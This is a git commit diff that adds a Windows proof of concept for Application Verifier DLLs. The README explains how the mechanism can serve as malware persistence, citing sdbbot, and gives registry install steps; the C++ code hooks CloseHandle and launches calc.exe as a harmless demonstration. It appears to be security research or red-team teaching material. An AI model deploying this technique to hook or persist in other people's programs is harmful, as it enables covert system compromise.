diff options
| author | daniel <daniel@planethacker.net> | 2025-05-07 08:31:50 -0700 |
|---|---|---|
| committer | daniel <daniel@planethacker.net> | 2025-05-07 08:31:50 -0700 |
| commit | 8e362ebc3c07c6786914508a4d37f0dfec5959c7 (patch) | |
| tree | 47c8e943e0323c13d7191d591be9041086b054a0 | |
| -rw-r--r-- | README.md | 48 | ||||
| -rw-r--r-- | make.bat | 4 | ||||
| -rw-r--r-- | verifier.cpp | 96 | ||||
| -rw-r--r-- | verifier.h | 36 |
4 files changed, 184 insertions, 0 deletions
diff --git a/README.md b/README.md new file mode 100644 index 0000000..ded5576 --- /dev/null +++ b/README.md @@ -0,0 +1,48 @@ +# VerifierDLLs + +This is an example of a Windows Application Verifier. This Windows +feature lets developers import an arbitrary DLL into any application +upon execution for testing/debugging purposes. It can be abused as a +persistence mechanism, or to hook functions in a manner similar to +LD_PRELOAD on *nix systems. + + +https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/ms220948(v=vs.90)?redirectedfrom=MSDN + +Verifier DLLs will be loaded with the fdwReason parameter of DllMain() +set to DLL_PROCESS_VERIFIER rather than DLL_PROCESS_ATTACH like a +traditional DLL. + +Applicaion Verifiers have been abused as a persistence mechanism by +sdbbot malware: + +https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader + +``` +If the bot is running with admin privileges on a Windows version +newer than Windows 7, persistence is established using the registry +“image file execution options” method. The loader DLL component is +written to “%SYSTEM%\mswinload0[.]dll” and added to the “VerifierDlls” +value for “winlogon[.]exe”. +``` + + + +## Compiling +`make.bat` will build this within a Developer Command Prompt. + +Architecture matters. Use the appropriate Developer Command Prompt +shell and compiler to build this. + +## Installing + +1. Copy DLL to System32 folder +2. Add registry key: +`HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PROGRAM.EXE` + +Values: +* GlobalFlags REG_DWORD 256 +* VerifierDlls REG_SZ vrf.dll + +With this example configuration, vrf.dll will be loaded by PROGRAM.EXE +each time it is ran. diff --git a/make.bat b/make.bat new file mode 100644 index 0000000..2e633fb --- /dev/null +++ b/make.bat @@ -0,0 +1,4 @@ +@ECHO OFF + +:: compile verifier dll +cl.exe /W0 /D_USRDLL /D_WINDLL verifier.cpp /MT /link /subsystem:console /DLL /OUT:vrf.dll diff --git a/verifier.cpp b/verifier.cpp new file mode 100644 index 0000000..9a2efd4 --- /dev/null +++ b/verifier.cpp @@ -0,0 +1,96 @@ +/* VerifierDll example: + * https://docs.microsoft.com/en-us/archive/blogs/reiley/a-debugging-approach-to-application-verifier + * + * Hooking example: + * https://github.com/ionescu007/HookingNirvana/blob/master/verif.dll/verif.c + * + * + * To use: + * New subkey: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whatever.exe + * GlobalGlag REG_DWORD 256 (0x00000100) + * VerifierDlls REG_SZ whatever.dll + * + * "whatever.dll" must be placed into System32 folder + * running "whatever.exe" will now import this DLL whenever it is run. + * + * This works on XP -> 10 + */ + +#include <Windows.h> +#include "verifier.h" + + +typedef BOOL (WINAPI* PCLOSE_HANDLE)(HANDLE); +BOOL WINAPI CloseHandleHook(HANDLE hObject); + + +/* Thunks https://en.wikipedia.org/wiki/Thunk */ + + +/* Hook functions here. */ +static RTL_VERIFIER_THUNK_DESCRIPTOR aThunks[] = { + { "CloseHandle", NULL, (PVOID)(ULONG_PTR)CloseHandleHook}, + {NULL, NULL, NULL} +}; + +static RTL_VERIFIER_DLL_DESCRIPTOR atDLLs[] = { + { L"kernel32.dll", 0, NULL, aThunks}, // CloseHandle() + {NULL, 0, NULL, NULL} +}; + +static RTL_VERIFIER_PROVIDER_DESCRIPTOR tVpd = { sizeof(RTL_VERIFIER_PROVIDER_DESCRIPTOR), atDLLs }; + + +/* CloseHandle() hook. This creates a file for demonstration + purposes. */ +BOOL WINAPI CloseHandleHook(HANDLE hObject) +{ + HANDLE h; + BOOL fRetVal = ((PCLOSE_HANDLE)(ULONG_PTR)(aThunks[0].ThunkOldAddress))(hObject); + h = CreateFile("C:\\users\\dmfr\\foo\\hooked.txt", GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + CloseHandle(h); + return fRetVal; +} + +/* This will run calc.exe when this verifierdll is loaded for + demonstration purposes. */ +void ModuleLoaded(void) +{ + STARTUPINFO info = { sizeof(info) }; + PROCESS_INFORMATION processInfo; + + CreateProcess("c:\\windows\\system32\\calc.exe", "", NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo); +} + +BOOL ProcessVerifier(IN PVOID lpReserved) +{ + *((PRTL_VERIFIER_PROVIDER_DESCRIPTOR *)lpReserved) = &tVpd; + + CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ModuleLoaded, 0, 0, 0); + + return TRUE; +} + + +/* DllMain() - Entry point. */ +BOOL WINAPI DllMain(HINSTANCE hModule, DWORD fdwReason, LPVOID lpReserved) +{ + HANDLE h; + UNREFERENCED_PARAMETER(hModule); + + switch (fdwReason) { + case DLL_PROCESS_VERIFIER: + /* Create a file to demonstrate that the DLL has loaded. */ + h = CreateFile("C:\\users\\dmfr\\foo\\opened.txt", GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); + CloseHandle(h); + return ProcessVerifier(lpReserved); + + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + + return TRUE; +} diff --git a/verifier.h b/verifier.h new file mode 100644 index 0000000..f8ae50e --- /dev/null +++ b/verifier.h @@ -0,0 +1,36 @@ +#pragma once + +#include <Windows.h> + +#define DLL_PROCESS_VERIFIER 4 + +typedef VOID (NTAPI * RTL_VERIFIER_DLL_LOAD_CALLBACK) (PWSTR DllName, PVOID DllBase, SIZE_T DllSize, PVOID Reserved); +typedef VOID (NTAPI * RTL_VERIFIER_DLL_UNLOAD_CALLBACK) (PWSTR DllName, PVOID DllBase, SIZE_T DllSize, PVOID Reserved); +typedef VOID (NTAPI * RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK) (PVOID AllocationBase, SIZE_T AllocationSize); + +typedef struct _RTL_VERIFIER_THUNK_DESCRIPTOR { + PCHAR ThunkName; + PVOID ThunkOldAddress; + PVOID ThunkNewAddress; +} RTL_VERIFIER_THUNK_DESCRIPTOR, *PRTL_VERIFIER_THUNK_DESCRIPTOR; + +typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR { + PWCHAR DllName; + DWORD DllFlags; + PVOID DllAddress; + PRTL_VERIFIER_THUNK_DESCRIPTOR DllThunks; +} RTL_VERIFIER_DLL_DESCRIPTOR, *PRTL_VERIFIER_DLL_DESCRIPTOR; + +typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR { + DWORD Length; + PRTL_VERIFIER_DLL_DESCRIPTOR ProviderDlls; + RTL_VERIFIER_DLL_LOAD_CALLBACK ProviderDllLoadCallback; + RTL_VERIFIER_DLL_UNLOAD_CALLBACK ProviderDllUnloadCallback; + PWSTR VerifierImage; + DWORD VerifierFlags; + DWORD VerifierDebug; + PVOID RtlpGetStackTraceAddress; + PVOID RtlpDebugPageHeapCreate; + PVOID RtlpDebugPageHeapDestroy; + RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK ProviderNtdllHeapFreeCallback; +} RTL_VERIFIER_PROVIDER_DESCRIPTOR, *PRTL_VERIFIER_PROVIDER_DESCRIPTOR; |
